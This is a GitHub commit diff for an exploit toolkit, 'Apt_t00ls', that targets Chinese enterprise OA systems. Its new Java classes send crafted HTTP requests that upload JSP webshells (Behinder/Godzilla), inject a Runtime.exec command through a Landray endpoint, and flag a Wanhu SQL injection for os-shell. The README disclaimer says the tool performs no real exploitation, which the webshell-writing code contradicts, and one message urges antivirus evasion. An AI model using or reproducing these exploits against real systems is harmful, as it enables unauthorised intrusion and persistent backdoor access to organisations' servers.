Skip to content

Commit dc6def1

Browse files
author
White-hua
committed
0.2
1 parent 31c30cc commit dc6def1

17 files changed

+423
-79
lines changed

‎README.md‎

Lines changed: 23 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,11 @@
11
# Apt_t00ls
22
高危漏洞利用工具
3+
---
4+
5+
## 开心指数
6+
7+
[![Stargazers over time](https://starchart.cc/White-hua/Apt_t00ls.svg)](https://starchart.cc/White-hua/Apt_t00ls)
8+
39
---
410
泛微:
511
e-cology workrelate_uploadOperation.jsp-RCE (默认写入冰蝎4.0.3aes)
@@ -19,11 +25,17 @@ landray_sysSearchMain-RCE (多个payload，写入哥斯拉 3.03 密码 yes)
1925
yongyou_chajet_RCE (用友畅捷通T+ rce 默认写入哥斯拉 Cshap/Cshap_aes_base64)
2026
yongyou_NC_FileReceiveServlet-RCE 反序列化rce (默认写入冰蝎4.0.3aes)
2127
yongyou_NC_bsh.servlet.BshServlet_RCE (可直接执行系统命令)
22-
yongyou_NC_NCFindWeb 目录遍历漏洞 (可查看是否存在历史遗留webshell)
28+
yongyou_NC_NCFindWeb 目录遍历漏洞 (可查看是否存在历史遗留webshell)
29+
yongyou_GRP_UploadFileData-RCE(默认写入冰蝎4.0.3aes)
2330

2431
万户：
2532
wanhuoa_OfficeServer-RCE(默认写入冰蝎4.0.3aes)
2633
wanhuoa_OfficeServer-RCE(默认写入哥斯拉4.0.1 jsp aes 默认密码密钥)
34+
wanhuoa_DocumentEdit-SQlli(mssql数据库 可 os-shell)
35+
wanhuoa_fileUploadController-RCE(默认写入冰蝎4.0.3aes)
36+
37+
致远：
38+
zhiyuanoa_main_log4j2-RCE (仅支持检测，自行开启ladp服务利用)
2739

2840
中间件:
2941
IIS_PUT_RCE (emm暂时没办法getshell 仅支持检测 java没有MOVE方法)
@@ -59,5 +71,15 @@ Tasklist敏感进程检测
5971

6072
![my](https://user-images.githubusercontent.com/100954709/193801691-df73fec6-284a-450a-943a-09fe023bcde0.png)
6173

74+
---
75+
## 免责声明
76+
本工具仅面向合法授权的企业安全建设行为，如您需要测试本工具的可用性，请自行搭建靶机环境。
77+
78+
为避免被恶意使用，本项目所有收录的poc均为漏洞的理论判断，不存在漏洞利用过程，不会对目标发起真实攻击和漏洞利用。
79+
80+
在使用本工具进行检测时，您应确保该行为符合当地的法律法规，并且已经取得了足够的授权。请勿对非授权目标进行扫描。
81+
82+
如您在使用本工具的过程中存在任何非法行为，您需自行承担相应后果，我们将不承担任何法律及连带责任。
6283

84+
在安装并使用本工具前，请您务必审慎阅读、充分理解各条款内容，限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。 除非您已充分阅读、完全理解并接受本协议所有条款，否则，请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的，即视为您已阅读并同意本协议的约束
6385

‎src/main/java/Controller/AttController.java‎

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -207,12 +207,19 @@ public void initialize() {
207207
textArea_info.appendText("\nlandray_treexmlTmpl-RCE (可直接执行系统命令)");
208208
textArea_info.appendText("\nlandray_datajson-RCE (可直接执行系统命令)");
209209

210+
textArea_info.appendText("\n\nwanhu_OfficeServer-RCE (可直接执行系统命令)");
211+
textArea_info.appendText("\nwanhu_smartUpload-RCE (可直接执行系统命令)");
212+
textArea_info.appendText("\nwanhu_DocumentEdit-SQlli (mssql数据库 可 os-shell)");
213+
210214
textArea_info.appendText(
211215
"\n\nyongyou_chajet-RCE (用友畅捷通T+ rce 默认写入哥斯拉 Cshap/Cshap_aes_base64)");
212216
textArea_info.appendText("\nyongyou_NC_bsh.servlet.BshServlet-RCE (可直接执行系统命令)");
213217
textArea_info.appendText(
214218
"\nyongyou_NC_NCFindWeb 目录遍历漏洞 (可查看是否存在历史遗留webshell)");
215219
textArea_info.appendText("\nyongyou_NC_FileReceiveServlet-RCE (默认写入冰蝎4.0.3aes)");
220+
textArea_info.appendText("\nyongyou_GRP_UploadFileData-RCE (默认写入冰蝎4.0.3aes)");
221+
222+
textArea_info.appendText("\n\nzhiyuanoa_main_log4j2-RCE (仅支持检测)");
216223

217224
textArea_info.appendText(
218225
"\n\nIIS_PUT_RCE (emm暂时没办法getshell 仅支持检测 java没有MOVE方法)");
@@ -292,6 +299,12 @@ private void updateListView(String selectedItem) {
292299
case "用友-OA":
293300
choiceBox_exp.setItems(exp.yongyouoa());
294301
break;
302+
case "万户-OA":
303+
choiceBox_exp.setItems(exp.wanhuoa());
304+
break;
305+
case "致远-OA":
306+
choiceBox_exp.setItems(exp.zhiyuanoa());
307+
break;
295308
case "IIS":
296309
choiceBox_exp.setItems(exp.iis());
297310
break;

‎src/main/java/Controller/TsklistController.java‎

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,9 @@
55
import javafx.scene.control.Button;
66
import javafx.scene.control.TextArea;
77
import javafx.scene.input.MouseEvent;
8+
89
import java.io.UnsupportedEncodingException;
10+
import java.nio.charset.StandardCharsets;
911
import java.util.HashMap;
1012
import java.util.Map;
1113

@@ -21,8 +23,8 @@ public class TsklistController {
2123

2224
@FXML
2325
void clicked_check(MouseEvent event) {
24-
String tasklist =textArea_check.getText();
25-
Map<String,String> exelist = new HashMap<String,String>();
26+
String tasklist = textArea_check.getText();
27+
Map<String, String> exelist = new HashMap<String, String>();
2628
String[] exetestlist = shell.readFileByLines(shell.tasklistpath);
2729
for (String str : exetestlist)
2830
if (str != null) {
@@ -32,7 +34,7 @@ void clicked_check(MouseEvent event) {
3234
String[] resultlist22;
3335
resultlist22 = shell.taskexechange(resultlist2);
3436
String finallist = shell.ifexe(resultlist22, exelist);
35-
String res = null;
37+
String res;
3638
try {
3739
res = new String(finallist.getBytes("gbk"));
3840
textArea_res.setText(res);

‎src/main/java/Exp/OA/landrayoa/landray_datajson.java‎

Lines changed: 6 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -22,26 +22,17 @@ public Boolean getshell(String url, TextArea textArea) {
2222
}
2323

2424
private Boolean att(String url,TextArea textArea){
25+
String dnslog = shell.readFile(shell.dnspath).replace("http://","").replace("/","");
2526
String dnspath = shell.readFile(shell.dnspath).replace("http://","");
26-
String replace = dnspath.replace("/", "");
27-
String payload = "?s_bean=sysFormulaSimulateByJS&script=function%20test(){%20return%20java.lang.Runtime};r=test();r.getRuntime().exec(\"ping%20" + replace + "\")&type=1";
28-
Response dns_le1 = HttpTools.get(shell.readFile(shell.dnscofpath), new HashMap<String, String>(), "utf-8");
29-
int dns_1 = dns_le1.getText().length();
30-
27+
String payload = "/data/sys-common/datajson.js?s_bean=sysFormulaSimulateByJS&script=function%20test()%7B%20return%20java.lang.Runtime%7D;r=test();r.getRuntime().exec(%22ping%20-c%204%20" + shell.getRandomString() + "." + dnslog+"%22)&type=1";
3128
Response response = HttpTools.get(url + payload, new HashMap<String, String>(), "utf-8");
32-
33-
try { Thread.sleep (5000) ;
34-
} catch (Exception ie){}
35-
36-
Response dns_le2 = HttpTools.get(shell.readFile(shell.dnscofpath), new HashMap<String, String>(), "utf-8");
37-
int dns_2 = dns_le2.getText().length();
38-
39-
if(dns_2 > dns_1){
40-
textArea.appendText("\n漏洞存在-收到dnslog回显 \n " + url + payload + "\n");
29+
if(response.getCode() == 200 && response.getText().contains("success")){
30+
textArea.appendText("\n漏洞存在 请自行利用\n" + url + payload);
4131
return true;
4232
}else {
43-
textArea.appendText("\nlandray_datajson-RCE-漏洞不存在 (出现误报请联系作者)");
4433
return false;
4534
}
35+
36+
4637
}
4738
}

‎src/main/java/Exp/OA/wanhuoa/wanhu_DocumentEdit.java‎

Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
package Exp.OA.wanhuoa;
2+
3+
import Utilss.HttpTools;
4+
import Utilss.Response;
5+
import core.Exploitlnterface;
6+
import javafx.scene.control.TextArea;
7+
8+
import java.util.HashMap;
9+
10+
public class wanhu_DocumentEdit implements Exploitlnterface {
11+
@Override
12+
public Boolean checkVul(String url, TextArea textArea) {
13+
Boolean att = att(url, textArea);
14+
return att;
15+
}
16+
17+
@Override
18+
public Boolean getshell(String url, TextArea textArea) {
19+
textArea.appendText("\n 请自行使用sqlmap或手动利用");
20+
return false;
21+
}
22+
23+
private Boolean att(String url,TextArea textArea){
24+
Response response = HttpTools.get(url + "/defaultroot/public/iSignatureHTML.jsp/DocumentEdit.jsp?DocumentID=1", new HashMap<String, String>(), "utf-8");
25+
if(response.getCode() == 200 && response.getText().contains("iSignature")){
26+
textArea.appendText("\n 漏洞存在 请使用Sqlmap利用 若存在waf 请手动绕过 \n " + url + "/defaultroot/public/iSignatureHTML.jsp/DocumentEdit.jsp?DocumentID=1");
27+
textArea.appendText("\n 该OA所用 mssql数据库 可进行 os-shell");
28+
return true;
29+
}else {
30+
textArea.appendText("wanhuoa_DocumentEdit-SQLli-漏洞不存在 (出现误报请联系作者)");
31+
return false;
32+
}
33+
}
34+
}

‎src/main/java/Exp/OA/wanhuoa/wanhuoa_fileUploadController.java‎

Lines changed: 87 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,87 @@
1+
package Exp.OA.wanhuoa;
2+
3+
import Utilss.HttpTools;
4+
import Utilss.Response;
5+
import Utilss.shell;
6+
import core.Exploitlnterface;
7+
import javafx.scene.control.TextArea;
8+
9+
import java.util.HashMap;
10+
import java.util.regex.Matcher;
11+
import java.util.regex.Pattern;
12+
13+
public class wanhuoa_fileUploadController implements Exploitlnterface {
14+
private String filename;
15+
16+
@Override
17+
public Boolean checkVul(String url, TextArea textArea) {
18+
Boolean att = att(url, textArea);
19+
return att;
20+
}
21+
22+
@Override
23+
public Boolean getshell(String url, TextArea textArea) {
24+
Boolean shell = shell(url, textArea);
25+
return shell;
26+
}
27+
28+
private Boolean att(String url,TextArea textArea){
29+
HashMap<String,String> head = new HashMap<>();
30+
head.put("Content-Type","multipart/form-data; boundary=KPmtcldVGtT3s8kux_aHDDZ4-A7wRsken5v0");
31+
String post = "--KPmtcldVGtT3s8kux_aHDDZ4-A7wRsken5v0\r\nContent-Disposition: form-data; name=\"file\"; filename=\"nishizhu.txt\"\r\nContent-Type: application/octet-stream\r\nContent-Transfer-Encoding: binary\r\n\r\n" + shell.test_payload + "\r\n--KPmtcldVGtT3s8kux_aHDDZ4-A7wRsken5v0--";
32+
33+
Response post1 = HttpTools.post(url + "/defaultroot/upload/fileUpload.controller", post, head, "utf-8");
34+
if(post1.getCode() == 200 && post1.getText().contains("success")){
35+
//使用正则表达式抓取
36+
Pattern pattern = Pattern.compile("\\d+.txt");
37+
Matcher matcher = pattern.matcher(post1.getText().trim());
38+
while (matcher.find()) {
39+
filename = matcher.group();
40+
break;
41+
}
42+
Response response = HttpTools.get(url + "/defaultroot/upload/html/" + filename, new HashMap<String, String>(), "utf-8");
43+
if(response.getCode() == 200 && response.getText().contains(shell.test_payload)){
44+
textArea.appendText("\n 漏洞存在 测试文件写入成功\n " + url + "/defaultroot/upload/html/" + filename);
45+
return true;
46+
}else {
47+
textArea.appendText("\n wanhuoa_fileUploadController-RCE-漏洞不存在 (出现误报请联系作者)");
48+
return false;
49+
}
50+
51+
}else {
52+
textArea.appendText("\n wanhuoa_fileUploadController-RCE-漏洞不存在 (出现误报请联系作者)");
53+
return false;
54+
}
55+
}
56+
57+
private Boolean shell(String url,TextArea textArea){
58+
HashMap<String,String> head = new HashMap<>();
59+
head.put("Content-Type","multipart/form-data; boundary=KPmtcldVGtT3s8kux_aHDDZ4-A7wRsken5v0");
60+
String post = "--KPmtcldVGtT3s8kux_aHDDZ4-A7wRsken5v0\r\nContent-Disposition: form-data; name=\"file\"; filename=\"nishizhu.jsp\"\r\nContent-Type: application/octet-stream\r\nContent-Transfer-Encoding: binary\r\n\r\n" + shell.readFile(shell.Jsppath) + "\r\n--KPmtcldVGtT3s8kux_aHDDZ4-A7wRsken5v0--";
61+
62+
Response post1 = HttpTools.post(url + "/defaultroot/upload/fileUpload.controller", post, head, "utf-8");
63+
if(post1.getCode() == 200 && post1.getText().contains("success")){
64+
//使用正则表达式抓取
65+
Pattern pattern = Pattern.compile("\\d+.jsp");
66+
Matcher matcher = pattern.matcher(post1.getText().trim());
67+
while (matcher.find()) {
68+
filename = matcher.group();
69+
break;
70+
}
71+
Response response = HttpTools.get(url + "/defaultroot/upload/html/" + filename, new HashMap<String, String>(), "utf-8");
72+
if(response.getCode() == 200 && response.getText().contains(shell.test_payload)){
73+
textArea.appendText("\n 漏洞存在 webshell文件写入成功\n " + url + "/defaultroot/upload/html/" + filename);
74+
return true;
75+
}else {
76+
textArea.appendText("\n shell写入失败 请手动查看 ");
77+
return false;
78+
}
79+
80+
}else {
81+
textArea.appendText("\n 疑似杀软查杀！！请进行免杀！！");
82+
return false;
83+
}
84+
}
85+
86+
87+
}

‎src/main/java/Exp/OA/wanhuoa/wanhuoa_smartUpload.java‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -80,7 +80,7 @@ private Boolean shell(String url,TextArea textArea){
8080
"Content-Disposition: form-data; name=\"photo\"; filename=\"nishizhu.jsp\"\r\n" +
8181
"Content-Type: text/plain\r\n" +
8282
"\r\n" +
83-
// shell.readFile(shell.Gsljsppath) + "\r\n" +
83+
shell.readFile(shell.Gsljsppath) + "\r\n" +
8484
"------WebKitFormBoundaryDUKz5M3eZoU6nAcO\r\n" +
8585
"Content-Disposition: form-data; name=\"continueUpload\"\r\n" +
8686
"\r\n" +

‎src/main/java/Exp/OA/weaveroa/weaveroa_eoffice10_OfficeServer.java‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,7 @@ public Boolean checkVul(String url, TextArea textArea) {
1717

1818
@Override
1919
public Boolean getshell(String url, TextArea textArea) {
20-
Boolean att = att(url,textArea,"nishizhu.jsp",shell.Phppath);
20+
Boolean att = att(url,textArea,"nishizhu.php",shell.Phppath);
2121
return att;
2222
}
2323

‎src/main/java/Exp/OA/weaveroa/weaveroa_workrelate_uploadOperation.java‎

Lines changed: 13 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -6,36 +6,29 @@
66
import cn.hutool.core.util.StrUtil;
77
import core.Exploitlnterface;
88
import javafx.scene.control.TextArea;
9+
910
import java.util.HashMap;
1011
import java.util.regex.Matcher;
1112
import java.util.regex.Pattern;
1213

13-
public class weaveroa_workrelate_uploadOperation implements Exploitlnterface{
14-
private HashMap<String,String> headers = new HashMap<>();
14+
public class weaveroa_workrelate_uploadOperation implements Exploitlnterface {
15+
private HashMap<String, String> headers = new HashMap<>();
1516
private String fileid = "";
1617

1718
@Override
1819
public Boolean checkVul(String str, TextArea textArea) {
19-
Boolean att = this.att(str, shell.Testpath, textArea,"nishizhu.txt");
20+
Boolean att = this.att(str, shell.Testpath, textArea, "nishizhu.txt");
2021
return att;
2122
}
2223

2324
@Override
2425
public Boolean getshell(String str, TextArea textArea) {
25-
Boolean att = this.att(str, shell.Jsppath, textArea,"nishizhu.jsp");
26+
Boolean att = this.att(str, shell.Jsppath, textArea, "nishizhu.jsp");
2627
return att;
2728
}
2829

29-
private Boolean att(String url,String path,TextArea textArea,String filename){
30-
String color="-fx-text-fill: black";
31-
if (StrUtil.isBlank(url)){
32-
textArea.appendText("请填写URL！！！");
33-
color="-fx-text-fill: red";
34-
textArea.setStyle(color+"; -fx-font-size: 16px;");
35-
throw new RuntimeException("URL 不存在");
36-
}
37-
textArea.setStyle(color+"; -fx-font-size: 16px;");
38-
this.headers.put("Content-Type","multipart/form-data;boundary=----WebKitFormBoundarymVk33liI64J7GQaK");
30+
private Boolean att(String url, String path, TextArea textArea, String filename) {
31+
this.headers.put("Content-Type", "multipart/form-data;boundary=----WebKitFormBoundarymVk33liI64J7GQaK");
3932
String fir_post = "------WebKitFormBoundarymVk33liI64J7GQaK\r\n" +
4033
"Content-Disposition: form-data; name=\"secId\"\r\n" +
4134
"\r\n" +
@@ -53,7 +46,7 @@ private Boolean att(String url,String path,TextArea textArea,String filename){
5346
Response post = HttpTools.post(url + "/workrelate/plan/util/uploaderOperate.jsp", fir_post, headers, "utf-8");
5447

5548

56-
if(post.getCode() == 200 && post.getText().contains("&fileid=")){
49+
if (post.getCode() == 200 && post.getText().contains("&fileid=")) {
5750

5851
textArea.appendText("\n fileid获取成功 开始释放");
5952
//使用正则表达式抓取filedid
@@ -72,26 +65,26 @@ private Boolean att(String url,String path,TextArea textArea,String filename){
7265
"------WebKitFormBoundarymVk33liI64J7GQaK--";
7366

7467
Response sec = HttpTools.post(url + "/OfficeServer", sec_post, this.headers, "utf-8");
75-
if(sec.getCode() == 200 && sec.getText().contains(shell.test_payload)){
68+
if (sec.getCode() == 200 && sec.getText().contains(shell.test_payload)) {
7669

7770
textArea.appendText("\n 释放成功 检测写入状态");
7871
Response thired = HttpTools.get(url + "/" + filename, new HashMap<String, String>(), "utf-8");
7972

80-
if(thired.getText().contains(shell.test_payload)){
73+
if (thired.getText().contains(shell.test_payload)) {
8174
textArea.appendText("\n 漏洞存在，测试文件写入成功 \n " + url + "/" + filename);
8275
return true;
83-
}else {
76+
} else {
8477
textArea.appendText("\n 漏洞可能存在，疑似WAF拦截，请手动复现");
8578
return false;
8679
}
8780

88-
}else {
81+
} else {
8982
textArea.appendText("\n 漏洞可能存在，疑似WAF拦截，请手动复现");
9083
return false;
9184
}
9285

9386

94-
}else {
87+
} else {
9588
textArea.appendText("\n weaveroa_workrelate_uploadOperation - 漏洞不存在 (出现误报请联系作者)");
9689
return false;
9790
}

0 commit comments

Comments
 (0)